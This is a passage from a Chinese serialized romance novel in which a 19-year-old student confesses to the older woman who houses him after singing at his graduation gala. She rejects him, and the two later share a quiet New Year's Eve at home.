“姐,你开慢点啊。”谈小白大声说:“我们待会儿在校门口接你。” “OKok.” 终于开进一中校门,校门口又停满了车。高三学生家长都来参加小孩儿的毕业礼,把本就数量稀少的停车位挤得水泄不通。 谈丹青开着车在校园里乱蹿,突然接到绪东阳的电话。 “喂。” “往左边开。”一接通电话,就听到绪东阳的声音。 “啊?”谈丹青夹着手机,扭头往左边看,就看见绪东阳占据了一个很宽敞的停车位。 谈丹青连忙打方向盘,丝滑倒车入库。 其他比她更早到的车主,还在到处无头苍蝇似的到处找空车位。 她得意洋洋地下了车,才看见绪东阳今天穿的正是她给他买的那套西装。 暮色渐浓,墨蓝色的西装像是将夜色穿在了身上,不远处礼堂灯光斜斜落下来,为那抹深蓝镀上一层温柔的暖色。 他站在那里,白衬衫的领口严谨地扣到最上方,领带结打得一丝不苟,深色的纹路在灯光下若隐若现。 这样正式的装束让他整个人都透着一股不符合年龄的沉稳,仿佛是一夜之间褪去了青涩,连投在地上的影子都显得格外可靠。 谈丹青扬了扬眉,在心中感慨了一声——看来,以后不能总叫“小土狗”了啊…… “在看什么?”绪东阳察觉了她审视的目光,故意锁住她乱瞟的眼睛,非要从她这儿讨个说法。 谈丹青迅速收回落在他领口的目光,用调侃地语气说:“红领巾系得不错。” “嗯,是老师教得好。”绪东阳反将了她一军。 谈丹青嗤笑了一声,跟绪东阳一起往学校礼堂走。她手里提了一只沉甸甸的大包,绪东阳自如地将包接了过去。 “这是今晚的节目单。”他递来一张宣传册。 “谈小白是第几个节目?”谈丹青走马观花地看了一遍。 “第三个。”绪东阳回答。 “那你呢?”谈丹青问。 “我第八个。” 谈丹青笑了起来,“不错啊,压轴。” 绪东阳突然问她:“你今晚能留多久?” “今晚事都推了啊,不赶时间。”谈丹青漫不经心地说。 “嗯。”绪东阳肉眼可见地松了口气。 谈丹青忍不住轻笑了一声,说:“怎么?还怕我提前走了啊?” 绪东阳抿唇,不置可否。 路灯的光晕落在他睫毛上,在眼下投出一小片颤动的阴影。 “怎么会啊,”谈丹青打起了包票,“我肯定会把你们节目看完啊。” 她拍了拍随身带的背包,发出沉闷的声响,“我装备都带了,找丁晞珍借的。” 绪东阳眉头紧蹙,问:“你还要录下来?” “当然啊,”谈丹青低头摆弄起相机。其实她还没用过这只相机,不大会用,就抱在怀里瞎按,哪里亮了点哪里。 “别不好意思啊,我保证把你拍得很帅。”她终于找到了快门,咔嚓发出声响。 “来,看这边——”她兴致勃勃地举起相机,对准绪东阳就咔嚓来了一张。 没想到补光灯没光,强光一闪。绪东阳条件反射地眯起眼睛。 谈丹青也被这突如其来的闪光吓了一跳,喃喃:“对不起对不起,你眼睛没事吧?” “没事。”绪东阳眼睛明显很不舒服,被闪到后一直在眨。 但他什么也没说,从谈丹青手里接过相机,教她怎么调整参数,“按快门,然后这个点开始闪,就是在录。” “哦。”谈丹青又继续拨弄了一会儿,翻到了她刚刚不小心拍到绪东阳的照片。 照片在强光下过度曝光,只剩下朦胧的轮廓。 高挺的鼻梁线条像一道剪影,在雪白的光晕中若隐若现。 这张糊到妈不认的照片,偏偏很有氛围感。 谈丹青手指在删除键上停了停,最后没删就退了出来。 * 绪东阳帮她找到位置,才回礼堂后台准备。陆陆续续就有更多家长坐了进来。 “这里有人吗?” “没有。” 有家长坐下后和她聊天,“你是谁的家长呀?” “我是谈小白的姐姐。”谈丹青说。 “难怪,我说怎么这么年轻呢!他爸妈没来?” “嗯,没……”谈丹青笑笑。 “父母太忙了吧,嗨,都不容易。” “是呀。”谈丹青淡声附和。 她试着回忆她的毕业典礼。 可想来想去,大脑里毫无印象,就此作罢。 等晚会开始的间隙,闲着也是闲着,她看了看节目单,绪东阳的节目竟然是《一生有你》…… 谈丹青彻底无语了。 她觉得谈小白来首《倔强》已经够老掉牙。 绪东阳还给她整了个更可怕的老古董。 现在小孩儿每天接触的到底是什么样的精神食粮啊! 闲着也是闲着,她将节目单发在自己的小号上: 【灵魂发问——现在小孩儿都爱听这么老的歌吗?】 小红书一经发出后,评论一条一条冒出来: 【内娱早完了!】 【哎资本!哎!做局……哎!跟你们说不清楚……】 【女神能不能不要总一口一个小孩儿,明明女神也是小孩!】 【可是《一生有你》这首歌真的很好听啊,我老公跟我求婚的时候,唱的就是这首。】 【楼上+1,表白经典曲目啊!】 …… “接下来,有请高三(7)班谈小白,为我们带来吉他弹唱——五月天《倔强》……” 刚摆弄好相机,就听见主持人在台上报幕,谈丹青立马高举相机录像。 谈小白抱着吉他上台,拨动琴弦,熟悉的旋律响起。 谈小白平时吊儿郎当,唱歌也是公鸭嗓,但今晚表现得还真有那回事。每个音都在调上,还很有明星范。 她都想发小红书问问网友:“我弟弟能出道吗?” 不过下面的场景,肯定和问自己孩子能不能当童模一样爆笑。 “谈小白唱得还挺好听的啊。以后不说他是谐星了。”身后坐着的几个女生小声窃窃私语。 “如果不是他太搞笑,他也能当校草!” 谈丹青听了一耳朵,忍俊不禁。 今晚的晚会是高三生苦闷时光里唯一的一点欢乐,在题海与考卷里放进的一颗蜜糖。大家都全情投入,此起彼伏的欢呼声几乎要掀翻屋顶。 谈丹青身处其中,也觉得变得有元气了。 七八个表演后,身旁的座位突然一沉,谈小白冒着腰溜到了她的旁边。 “姐,姐,录到了嘛录到了嘛?”他小声问。 “给你录了!”谈丹青将相机给他看。 谈小白满意地打了个响指,“帅气!” “下面有请高三(7)班绪东阳……”主持人再次登台报幕。 谈小白凑到她耳朵旁,小声说:“我猜,阳哥这首歌,是唱给他喜欢的人的。” 谈丹青微愣,再联想到这首歌的歌词: “多少人曾爱慕你年轻时的容颜, “可知谁愿承受岁月无情的变迁……” 她突然有一种莫名的预感。 “你怎么知道?”谈丹青问。 谈小白说:“我看到他练得特别认真,有时候很晚还在练。” “绪东阳……”谈丹青无意识地顿了顿,“他喜欢谁?” “不知道啊,他打死都不告诉我。”谈小白不满地抱怨,“不过我也打不过他,嘿嘿嘿……” 钢琴声如流水般倾泻而下,绪东阳走到麦克风前,一手随意地插在西裤口袋里。 舞台的追光在他身后晕开一圈光晕,将他挺拔的轮廓勾勒得愈发清晰。 他单手扶住话筒,额头光洁白皙,姿态慵懒随意,有一种与生俱来的舞台魅力,让人无法将视线从他身上移开。 “多少人曾爱慕你年轻时的容颜, “可知谁愿承受岁月无情的变迁…… 当第一个音符从他唇间溢出时,谈丹青耳膜旁的空气仿佛都为之凝固。 他的嗓音比平时更低,充满磁性,唱歌的音调如情人在耳畔缠绵私语。 谈丹青一时脑子有些乱,耳膜嗡嗡作响,但她还记得要录像,机械地举起相机。 可混乱中,手指也不知道按到了哪里,镜头突然切成了近景,绪东阳的侧脸,一下子占据了整个画面。 谈丹青狼狈地捣鼓了一番,始终调整不好,只能放弃。 她重新举起相机,不得不看那被拉进取景框中的画面。 近景画面要比肉眼清晰好多倍,她能过分清晰地看见绪东阳的眼睛。 这双眼盛着星海,噙着无边的温柔,似乎从上台起,就在人群中寻找着什么。 “你能否感受我的爱, 等到老去那一天。 你是否还在我身边, 看那些誓言……” 他忽地朝她这边看了过来,深邃漆黑的眼眸穿过人海,穿过晃动的镜头,瞬间直直地望进了她的眼底。 他虽身处在镜头里,但看起来仿佛他就在她面前。 就在她对面。 礼堂里的一切观众、灯光、全都幻化为一片虚影。 他今晚只为她一个人而歌—— “多少人曾爱慕你年轻时的容颜 可知谁愿承受岁月无情的变迁 多少人曾在你生命中来了又往, 可知一生有你我都陪在你身边…… “可知一生有你我都陪在你身边……” “啊啊啊啊!真的好帅啊啊!”身旁的女孩们也在录像。 台下每个人的手机几乎都正切绪东阳的脸。 “啊啊啊啊,绪神到底还有什么不会的啊?成绩辣么好,长得辣么帅,唱歌居然还辣么好听!!!上帝到底给他关了哪扇窗?” “和我的聊天对话窗吧……” 歌曲逐渐进入尾声,谈丹青心怦怦然地在胸腔里跳动着。 她再迟钝,不可能到现在还不明白,今天晚上,绪东阳可能要表白的人,就是她。 如果将时间拨回他们刚刚见面的那一天,谈丹青或许能很轻易地拒绝绪东阳的告白。 甚至能扇他一巴掌叫他滚。 可偏偏,他们已经在一起相处了这么久,她看到了绪东阳沉默外表之下的温柔和体贴,她就再也做不到轻飘飘地开口拒绝。 因为她知道,她开口后的每一个字,都有可能伤害到他。 她不知道怎么办,不知道怎么面对,于是干脆拎包跑人。 逃避虽然可耻。 但有用的时候,也是真的很有用。 “姐,姐你去哪儿啊?绪东阳还没唱完呢!”谈小白歌见她要走,忙挽留。 “我,我有事。”谈丹青含含糊糊地说。 “啊?这么急吗……” 推开礼堂门,谈丹青快步往外走。 星河之下,她看到了很多年轻的学生在树下依依不舍地说着悄悄话,有的围着操场一圈又一圈地散步。他们每个人眼里都闪烁着星星一样的光,向往着未来。 “高考后就终于能放松啦!” “只想快点考完!” 将晚会这个关键词从脑中剔除出去,谈丹青终于记起她的毕业典礼是什么样的。 她的毕业典礼是在嘈杂的批发市场度过。 坐一整晚大巴士去进货,和小商贩为了五毛钱讲得口吐白沫。 当时谈小白就像一条小尾巴一样跟着她。 他真的太小了,冬天没有戴手套,那肉乎乎的小手一伸出来,就像一节红萝卜。 她因为弟弟的手掉眼泪,发誓一定要赚钱,赚很多很多钱。 那时每天两眼一睁,想的是吃什么,喝什么,学费怎么交…… 这么贫瘠的大脑,不可能盛开出纯粹的玫瑰。 所以,绪东阳喜欢她,某种程度上其实满足了她隐蔽的虚荣心。 她的高中暗无天日,而现在一个高中最闪闪发光的少年,这么真诚的喜欢着她。 如果十八岁的谈丹青知道,她一定会很开心吧? 可是,五年之后的爱,温暖不了五年之前的人。 她早就已经不是那个无措茫然,惶惶不安的少女。 但绪东阳还是一个青涩纯粹的少年。 所以,她注定回应不了绪东阳。 一路脚步飘忽,谈丹青走到了停车场,按解锁键提车。 车门开,指尖刚触到门把手,一只骨节分明的手突然重重按在车门上。“你跑什么?” 绪东阳应该是跑过来的,气息不稳,西装外套和领带也起了褶皱。坚实的胸膛剧烈起伏着,扑出的温热的呼吸带着青春特有的炽烈气息。 他目光灼灼的瞪着她,像是用尽了全身力气,才没让自己做出更逾矩的举动。 “我有事。” 她再次要拉开车门,却再次被绪东阳抵了回去。 撑着车门的手,手背青筋爆起。 “你说了你今晚没事。” “我现在又有了,不行吗?”谈丹青不耐烦地说。 “你听到我唱的歌了吗?” 谈丹青没说话。 “我是唱给你的。”绪东阳说。 谈丹青还是没说话。 手指紧攥着车钥匙的锯齿。 “我是唱给你听的。”他再次强调,试图说明什么。 谈丹青心乱如麻,她只想将这件事轻飘飘揭过。 “好哇,好哇!”她背过脸去,胡乱搪塞:“你故意唱这首歌骂我老!” 她用力拉开车门,想钻进车厢躲起来。可车门还没完全打开,绪东阳就一把按了回去。 绪东阳一手硬将她肩膀掰过来,逼她看着自己,另一只手撑在车顶,将她困在方寸之间, “你是不是知道我喜欢你了?”他看着她躲避的眼睛。 谈丹青面色瓷白,半敛着眼皮,如菩萨低眉。 “好。”一看谈丹青的反应,绪东阳就心中有底了。 她知道了。 甚至知道有一段时间了。 绪东阳学拳击的时候,教练对他的评价是,太爱出直拳。 直拳虽然拳风凌厉刚猛,爆发力强,威力大,但因运动轨迹直来直去,所以肋下防御漏洞过大,容易被对手抓住弱点。 这评价一针见血,他向来如此,就连告白都像一记直拳。 毫无迂回,不留退路。 “既然你已经知道了,那我就不装了。”他扯了扯嘴角。 “我喜欢你。” “我从到你家第一天起,就喜欢你。” 【作者有话说】 今晚沐浴在营养液里! 昭昭太幸福辣! o(* ̄▽ ̄*)o 28 第28章 ◎“扇啊。”◎ 绪东阳比她高出许多,于是“我喜欢你”四个字,是从她头顶传来。 冲击力之大,仿佛重重砸在她脑门上,令她眼冒金星。 谈丹青猜到绪东阳今晚会跟她表白,但她以为绪东阳多少会委婉一点。 至少像其他平庸胆怯的男人,闪烁其词、含含糊糊、表白也要大作战,牢牢占据道德高地。 “绪东阳,你……”谈丹青努力地组织语言。 “你,你喜欢我什么呢?你看,我比你大这么多。我已经工作了,而你还是个学生。我们根本不是一个世界的人。你还不明白,你喜欢的其实不是我,只是一种青春期的荷尔蒙冲动……” “我怎么不明白?”绪东阳尖锐地打断她,“我又不是傻逼。” “你再在我面前骂人试试。”谈丹青扬眉呛了回去。 绪东阳死死抿住了唇。 浅淡的绯色缓缓爬上了他*的眼角,像宣纸上洇开的朱砂。 谈丹青深吸口气,压着火,好声跟他继续解释:“你喜欢我,只是因为你第一次见到像我这样的人。你周围的那些女孩儿,她们都比较青涩,而我和她们比起来,可能,可能……” 她斟酌着语句,“更像女人。” “于是你就以为这种感觉是爱情。其实不是,你今天的这些感觉,都只是生理上的一种冲动。既然是冲动,那么过去就过去了。 “等你有一天,真正喜欢上一个和你差不多大的女孩,恋爱了,结婚了,你就会明白我今天跟你说的这些话。” 说这番话时,谈丹青真诚地看着他。 温柔的唇瓣随着话语张张合合,露出其间一串白洁的贝齿。 绪东阳瞪着她,瞪得两眼发涩,眼前雾蒙蒙一片。 他觉得谈丹青说的这番话好狠。 她不是在拒绝他,而是在彻头彻尾地否决他的全部爱意。 她甚至不肯相信他是真的很爱很爱她。 一个在她眼里压根不存在的东西,谈何去争去抢? “那你要我怎么证明?”绪东阳撑住车门的手背,青筋隆起,“我现在就去谈个跟我一样大的,然后把她甩了,可以了吗?” “绪东阳!”谈丹青气得胸闷气短。 她都说得唇干舌燥了,这小子怎么还这么倔?跟块石头似的。 “跟你说也说不明白!”她抬手想要将他推开,绪东阳反压下她挥舞的手臂,一把攥住她手腕。 他在她面前缓缓垂下头,眼睫颤抖,用光洁的前额抵住她的额角。 温热潮湿的呼吸,吹吐在她的额前眉心。 他死死地环抱住她,像恶龙用尾巴贪婪地环住挚爱的宝藏。 “其实,你还是有一点喜欢我吧,是不是?如果不是,你现在早该扇我了。”他的语气又硬又直,但尾音带着隐忍的微颤。 这条纤细如蒲柳的手腕上,戴着他送的银色表链。 被她的体温,捂温了,捂热了。 她一定不讨厌他。 一定是。 不然为什么要戴他送的表?为什么要给他亲属卡?为什么要带他买西装?为什么要帮他系领带? “扇啊。”他固执地紧攥她的手腕,要抬起来贴上自己的脸。 “怎么不扇呢?” “扇啊。” “绪东阳,你,你……”谈丹青拧眉挣扎,拉扯中,她的掌心被强硬地按到了绪东阳硬邦邦的胸口。 隔着滚烫的肌肉和褶皱的布料,她摸到了一颗灼热的心脏。 那颗心脏在她掌心下急速地跳动着。 一下又一下,每一次跳动都那么有力。 像一只受困的野兽在撞击牢笼。 这个动作看起来,仿佛像他真的毫无保留地,将自己这颗赤忱的少年心捧给了她。 谈丹青终于忍无可忍,她抬起头,哽咽地喝断绪东阳今晚发疯,“所以呢?” 绪东阳怔住,“所以什么?” “我说,所以呢?”谈丹青忍着眼眶里的酸意,咬着牙,一字一句地说:“你喜欢我,所以呢?喜欢我的人多了去了!你喜欢我,我就一定要喜欢你吗?那我还喜欢人民币呢,你看人民币喜欢我吗?” 绪东阳立在原地,殷红的血色如潮水涌上了他的眼底,眼角的血管一股股地抽动着。 谈丹青看得清清楚楚,但却故意像什么也没有看见。 “你口口声声说,我不信你,好,那我问你,你能拿什么让我相信你呢?”谈丹青颤声说:“你自己看看你自己现在的样子,还不够孩子气吗?只有小孩才会觉得,只要有真心,全世界就该让着你。” 锢着她手腕的力道骤然一松。绪东阳像是被当头浇了盆冰水,如一条湿漉漉的水鬼,满脸苍白,不可思议地望着她。 谈丹青趁机立刻从他掌中抽回手,拉门上车。 坐进驾驶座,谈丹青胡乱摸了把脸,手指抖得几乎插不进钥匙。 她深呼吸好几次,终于打着火,然后双手扶住方向盘,油门踩到底,猛打方向盘,扬长而去。 * 回家的路比去时好走得多。 一路风驰电掣,竟没有撞上一盏红灯。 到了家,谈丹青踢掉高跟鞋,按开客厅灯。 明晃晃的灯照亮了房间的每个角落,房间是空荡荡的。 她去厨房接了杯温水,喝完,然后快步上楼回房间。 她就像没事人似的,用皮筋挽起头发,洗漱、沐浴,换一身舒服得黑色丝绸睡衣,敷上冰凉凉海藻面膜。 然后打开笔记本电脑办公。 微博小号后台还在讨论她今天发的歌单。 大家兴致盎然地分享自己的感情经历: 【经典就是这样啊,咏流传,每一代人的成长环境再怎么不同,感情都是相通的。】 【我婚礼那天歌单里也有这首《一生有你》!】 【今年是我跟我老公的十年哦!我们真的做到了一路陪伴】 …… 谈丹青像什么也没看到,迅速切号。 她点开收藏夹,看走秀,听设计学公开课,做笔记,画草图,然后找郑芳要乱七八糟的各种数据。 她不允许自己沉溺在负面情绪里,她要求自己的心像一颗钻石,每个面都刀枪不入。 不知过了多久,“叮咚……”楼下传来门锁解锁的声音。 谈丹青心一跳,推门出去,站在走廊往下看。 回来的是谈小白,她既失望,但也松了口气。 “姐,”谈小白在玄关换鞋,说:“你回来了啊!我还以为你去公司了呢。” 谈丹青:“没。” “啊?是不舒服吗?”谈小白说:“我去给你拿药。” 他翻箱倒柜给谈丹青找药箱,却没找到药放的地方,然后挠着脑袋自言自语:“诶……我的药呢?” “在茶几下面,”谈丹青告诉他,“你自己放的还不知道啊?” “嘿嘿,这几天一直都是阳哥在补货。”谈小白解释道。 谈丹青愣了愣,她之前还纳闷谈小白什么时候变得这么细心,还会在拆开的药板背后标记每日服用量和过期时间。原来做这些小事的一直都是绪东阳。 绪东阳不像谈小白做什么都咋咋呼呼的,什么事都非要弄得所有人都知道。他心细,但太沉默,所以很多事她都后知后觉。 不过,这些现在也不重要了。 谈小白找到药,又要去厨房烧水,谈丹青说:“我没不舒服,你别弄了。” “啊?哦……那好吧。” “阳哥回来了没?”谈小白敲了敲绪东阳房间的门,门没关,他便拉开门,往里面探头探脑。 “还没回啊?”谈小白说。 谈丹青问:“你找他干嘛?” “我得给他交作业,”谈小白说:“他让做了几道题,说我今天不做完就抽死我,他还没回来吗?” “他叫你做题?” “对啊,”谈小白说:“每天好几道呢,做不完就抽我。” “他今晚肯定巨忙,”谈小白自顾自地说:“好多女生要跟他表白。毕业了嘛。” 谈丹青没说话,转身回自己的房间。 在不知道第几次骚扰郑芳后,郑芳终于忍无可忍,一通电话直接打了过来,“你今晚不是去看你弟弟们的毕业晚会了吗?” “嗯。”谈丹青含糊地应了一声。 “那怎么突然又发工作狂了?” 谈丹青揉了揉眼睛,“没什么。” “还没什么。”郑芳说:“我一听你的声音就不对。到底怎么了?要不要我开车过来。” “不用。”谈丹青终于合上电脑,直视自己的心烦意乱。 “绪东阳,他……”谈丹青语塞。 “你先等等,”郑芳那头传来一阵私语,“宝贝,我待会儿跟你玩啊,先下了。” 谈丹青说:“你在跟谁说话?” “我打游戏呢,找了个代练,才19哦。”郑芳嘿嘿直乐。 谈丹青说:“你还真是……记吃不记打啊。” “就谈着玩嘛,”郑芳说:“快快,绪东阳怎么了?他干嘛了? “他……他跟我表白了。”谈丹青说。 “哈?!”郑芳那头倒抽一口凉气,“年下追人就是猛啊……一上来就交大……” 谈丹青轻轻叹了口气,只觉得头疼。 “那你怎么想呢?”郑芳试探道。 “我?”谈丹青不咸不淡地说:“我能怎么想?” “你喜欢他吗?”郑芳问。 “怎么可能,”谈丹青仿佛听到什么天方夜谭,“他比我小这么多,跟小白一样大,还是个高中生。我怎么可能喜欢他?我又不是恋.童癖。”她越说越激动,声音逐渐拔高。 “童个屁啊,”郑芳说:“他都十九了,再几年就老登了。” “总之我不会喜欢他。” “你发现了没,”郑芳说:“你说的一直是,你不会喜欢他,而不是你不喜欢他。” 谈丹青:“这有什么区别吗?” “当然啊,”郑芳说:“如果你不想你们的年龄啊,身份啊,这些外在的东西,只想绪东阳这个人,你是什么感觉呢?” “什么意思?”谈丹青拧着眉。 郑芳说:“你一直说你接受不了,是因为他是个高中生。但是,他总不会一直是个高中生吧?如果他不是高中生,和你一样,就是个成年人,你是什么感觉呢?” 谈丹青一时茫然。 她揉了揉太阳穴,说:“有些东西,怎么可能抛开不谈?” “丹青,你有时候真把自己逼太狠了,”郑芳说:“问问你到底喜不喜欢他这个人呢?而不是你能不能喜欢。” “我喜不喜欢,很重要吗?” “没有比你喜不喜欢,更重要的事了。”郑芳说:“你看我,我就只谈我喜欢的,快乐啊。” 跟郑芳说完,谈丹青去卫生间洗掉脸上的面膜。郑芳的一番话不仅没让她思路清晰,反而让她整个人更加混混沌沌。 她看向镜子里的自己,鬼使神差地凑近镜面,指尖轻轻抚上眼角,检查那里是否爬上了她没曾注意到的皱纹,这个下意识的动作让她自己都愣住了。 时间总是过得又快又慢。开心的时候只是看了眼手机,时间就滴滴答答跳到了一小时以后。 不开心的时候分明忙进忙出做了好多事,结果钟表上的时针连却分毫未动。 晚上十二点,谈丹青关了电脑准备入睡。 小区里频频有车进来,每一辆车驶入,就会有亮堂堂的白色车灯扫在天花板上。 谈丹青双眼追着天花板上的光束,眼皮一跳一跳,怎么也放不下心来。 她很担心绪东阳,不知道他今晚不回来会去哪儿。 距离高考只有一百天不到,就像走钢丝的人到了最关键那段,任何细微的晃动,都足以造成恶果。 她找何薇聊过几次绪东阳的成绩,何薇说绪东阳的成绩这段时间保持得非常好,她已经是奔着市状元在培养他。 当初她同意绪东阳住进来,是想给这个少年撑把伞,如果这件事最后结果变成反而是她将他推进暴雨了,她控制不了这种愧疚感。 她解锁手机,点开和绪东阳的对话框。 指尖在键盘上打字: 【今晚我说的话】 删掉。 【虽然我回应不了你,但你还是可以回来。】 删掉。 【今晚无论发生什么,不要影响高考。】 打完又删掉。 手机扔开,谈丹青两眼盯着天花板上的游弋的车灯。 十二点。 十二点半。 一点…… 有几次门外有动静,她瞪着眼睛屏住呼吸静静听,以为是绪东阳回来了,结果是隔壁晚归的邻居。 睡不着睡不着还是睡不着。 谈丹青干脆下了床,一个房间一个房间的找事做。 她将几个房间的垃圾袋全部拧紧提走,在睡衣外披上一件外套,出门丢垃圾。 没想到一下楼,就看到家门口竟然有个人坐在台阶上。 她吓了好大一跳,心脏和手里的垃圾袋差点一起全飞了。 她定了定神,方才看清,那个人是绪东阳。 他像只流浪的野狗,一身黑色卫衣,头戴兜帽,帽檐投下的阴影,将眉眼尽数吞没。 他大概也完全没有想到,她会在这个节骨眼突然开门出来。 漆黑的眼底闪过错愕。 两人四目相对。 灯下寂静无声。 这一刻,谈丹青心微微颤了颤。 “绪东阳,进来。”她说。 【作者有话说】 听说胸肌放松的状态是软的, 但他们在打架,所以摸起来是硬的应该也很合理叭! 29 第29章 ◎新年快乐◎ 谈丹青领着绪东阳进了屋。 门关上的瞬间,沉默像湿冷的雾,裹住了两人。 “吃宵夜?”她突兀地打破安静,声音发干。 “好。”绪东阳回答得很快,填补上空白的间隙。 谈丹青去到厨房,踮脚在吊柜里翻出两桶方便面,一包红烧牛肉面,一包海鲜面。 “你吃哪种口味?”她将泡面摆在餐桌上,就见绪东阳看泡面桶的眼神闪了闪,喉结滚动,像是把什么话咽了回去。 “还嫌弃上了啊!”谈丹青将从耳后垂落的碎发拨了回去,说:“我又没你会做饭。但是,我泡泡面,还是很有一手的。” “没有嫌弃。”绪东阳温声回答,“海鲜吧。” 他知道谈丹青喜吃辣。 “我泡面的技术,是跟金城武学的。”谈丹青口中振振有词,将塑料包装袋拆得沙沙作响。 “金城武?” “对,他拍了个电影,专门讲怎么泡面。”说着话,水烧开了。谈丹青将热水注入碗中,然后在包装盖上倒扣一只盘子,再将酱料包放在盘底,用蒸汽的余温加热。 她手指在桌上敲来敲去,“等面泡好了,再加入调料包搅拌,这样泡出来的味道就特别好。” “嗯。” 等待泡面的几分钟里,谁都没说话,屋里又安静了。 绪东阳沉默无声地对着面前的泡面桶发呆。 “绪……” “你……” 两人同时开口,又同时停下。 谈丹青率先移开视线,让步道:“你先说吧。” “想喝点什么?”他问。 “随便吧,都行。” 绪东阳起身拉开冰箱,拿出两瓶无糖可乐。 递给谈丹青时,他习惯性地帮谈丹青提前拧开了瓶盖。 这个过于熟稔的动作,让两个人都静了一瞬。 绪东阳握着可乐,顿在了那里。 谈丹青佯装没有注意到,说了声:“谢谢。”就从绪东阳手中接过可乐。 指尖被瓶身上的凝固的水珠冰了一下。 她喝了很大一口。 冰凉的液体灌入腹,情绪逐渐平复。 老实说,这种不上不下的感觉实在令人难受。 胸口好像被什么堵住了,每次呼吸都缺了一口氧。 比起以后只要同处一室,就尴尬得不如陌生人,谈丹青还是更想现在就开诚布公,好好跟绪东阳把话说清楚。 她在心中酝酿了一会儿,轻声开口说:“绪东阳。” “嗯?” “当我弟弟不好吗?” 绪东阳倏然抬眼。 泡面碗盖被掀开的瞬间,一团白雾奔涌而出,模糊了他凌厉的眉眼。 “我这人吧,你也不是第一天认识。”谈丹青刻意不去看绪东阳的神情,揭开面前的泡面盖,依次挤入各类调料包,然后用随泡面赠送的塑料小叉搅拌着卷曲的面条,挑起一团,默默咽下,状似随意。 “我现在的情况,跟谁都谈不了什么长久的感情。我不可能抛下谈小白不管,也不可能抛下我公司不管。感情什么的,在我这儿排得很后面。所以跟我谈恋爱,最后结果只会是不欢而散。” “但弟弟不一样。”她顿了顿。 “如果你是我弟弟,那我们就是血脉相连的关系,打断筋骨连着皮,我绝不会甩开你。” 红烧牛肉面加辣版散发着浓烈的香气,谈丹青大口吃着,鼻尖沁出一层细密的汗珠,发涩的胀意直冲眼眶,分不清是辣出来的,还是别的什么。 绪东阳始终垂着头,叉子机械地挑起面条,一口一口往下咽。 沉默在两人之间蔓延,只有吞咽声和塑料碗轻微的碰撞声。 过了好久,有一滴眼泪掉进绪东阳的泡面桶里。 他开口道:“好。我以后不喜欢你了。” * 这一次滑铁卢一般惨烈的挫败,让绪东阳学会了成年人的第一课:真心无用,智取为上。 既然横冲直撞会被推开,那就换一种方式攻城略地。 他开始学习如何狡猾地将自己的犬牙和利爪收起来,挂上一张微笑天使萨摩耶一般纯良无害的脸。 他要悄无声息地织一面网,将这些细小的、几乎不易察觉的体贴,春雨般悄无声息地渗入她的生活。默默向她证明自己有多成熟,多男人,多靠谱。 而当谈丹青再次意识到这一切时,他的存在早已像空气浸透了她的生活,割舍不掉。 这天过后,绪东阳表白这件事,谈丹青没再提,绪东阳也没提。两人继续同处一个屋檐下,虽然每日抬头不见低头见,但也相安无事。 月考成绩出来,绪东阳模拟考试成绩依然名列前茅,这段插曲并没有影响到他的状态,谈丹青也总算松了一口气。 节前一中最后一堂课结束,绪东阳和谈小白一前一后骑单车回来。 谈丹青已经在家,他俩一进门就问:“绪东阳,你今年在哪儿过年?” 绪东阳说:“去我亲戚家吧。” “你的什么亲戚?”谈丹青问。 “表叔。” “表叔?”谈丹青立刻皱眉,说:“表叔算什么亲戚?一表三千里的。你就在家里过年。” 绪东阳恰到好处地停顿了三秒,尾音拖得略微有些长,像是不经意流露的犹豫:“如果不麻烦的话……” 谈小白忙附和,说:“就是啊就是啊,去什么表叔家,你就在自己家过年啊。” 年夜饭算是一年里最重要的一餐,今年谈小白和绪东阳要高考,谈丹青觉得这一顿饭一定要弄得非常丰盛才行。 她找小区附近的餐厅订年夜饭。但往年谈丹青跟谈小白就两个人,订一张小桌就行了。于是谈丹青今年也只提前了三天才订。 结果一问才知道,年夜饭紧俏的就是大桌、大包厢,到这个时间,大桌和包厢早就订完了。 没订到合适的酒店,谈小白便提议就在家里吃,说在家里吃还热闹。 年关菜价飞涨,附近几家小超市都关门歇业。谈小白就跟绪东阳两人骑单车去远一点的大型菜市场买菜。两人买了好几塑料袋新鲜鱼、肉,回来自己做。 年夜饭掌勺的还是绪东阳。这事属于实在没办法,绪东阳做饭好吃,而她跟谈小白做饭,只能满足人类生命体征的基本需求。 吃过年夜饭,窗户外白莹莹的小雪在飘,三个人倒在沙发上玩手机,电视机播着春节晚会当背景音。 语言类节目一年比一年不好看,但又要应过年这个景,很偶尔才会发出“哈哈哈”两声干笑。 等到晚上九点出头,吃过碳水的困劲儿过去了,谈丹青起身上楼回屋一趟,拿了两只红包。 “一人一个。” “红包红包!!!”谈小白立马眉开眼笑地接下来,双手作揖:“谢谢我最美丽滴、最动人滴、最聪明滴、最富有滴姐姐,新年快乐,身体健康,今年继续发财。” 其实谈丹青给的红包钱不多,一个十块,送出去主要就是添个彩头。 谈小白清楚这一点,所以从来不推来推去,败谈丹青的兴,提供满满的情绪价值。 接过红包,谈小白又用手肘推了推闷不作声的绪东阳,说:“你快接着啊。” 谈丹青也看着绪东阳。绪东阳很喜欢跟她犟,每次给他什么,他都会露出很生气很受伤的模样,好像自己很看不起他。 但这次,他很平静,甚至算得上乖巧地从她手里接过红包,沉声说:“谢谢,新年快乐,一切如意。” “这就对了嘛,对嘛!”谈小白勾了勾绪东阳的脖子,说:“虽然还是没叫姐姐,但,已经很有进步了!” 谈丹青也欣慰地笑了笑。 “哈哈哈哈……”电视正好放到小品抖包袱,几人的注意力全被小品吸引过去,哈哈哈笑成一团。 每年除夕夜,谈丹青和谈小白都会按规矩守岁。他俩小时候没人教这些,都是跟着邻居婆婆学。 那位婆婆有点迷信,跟他俩唠叨,说除夕晚上一定要把灯都打开,让家里亮堂堂的,不能睡觉,不然会衰一年。她还告诉他们姐弟俩一句话:“懒人早睡,穷鬼缠身。” 这句话给小小的谈丹青留下巨大的心理阴影,她可不想穷一年,所以每年除夕都熬很晚。 可能是年龄越来越大的缘故,她今年有点熬不下去,到了一两点,就迷迷糊糊地上下眼皮打架。 江城禁鞭了好几年,虽然还是有人偷偷放小型烟花,但偶尔几声“嘭”的轻响后,就归于长长久久的宁静。 屋外雪花飘落,吸走了纷扰的杂音。 电视机的声音不大,听起来也像催眠的白噪音。谈丹青躺在沙发上刷手机,不一会儿就眯着了。 半夜有点冷,她缩在沙发上,不轻不重地打了个喷嚏。 半睡半醒间,她模模糊糊感觉有人过来。 那人在客厅里轻手轻脚地走动,半晌,又回到了她的身畔。 她嗅到了一股熟悉的气味,桂花凝香珠。 沉浸在这种熟悉的味道里,她的紧张感渐渐卸下。 是绪东阳。 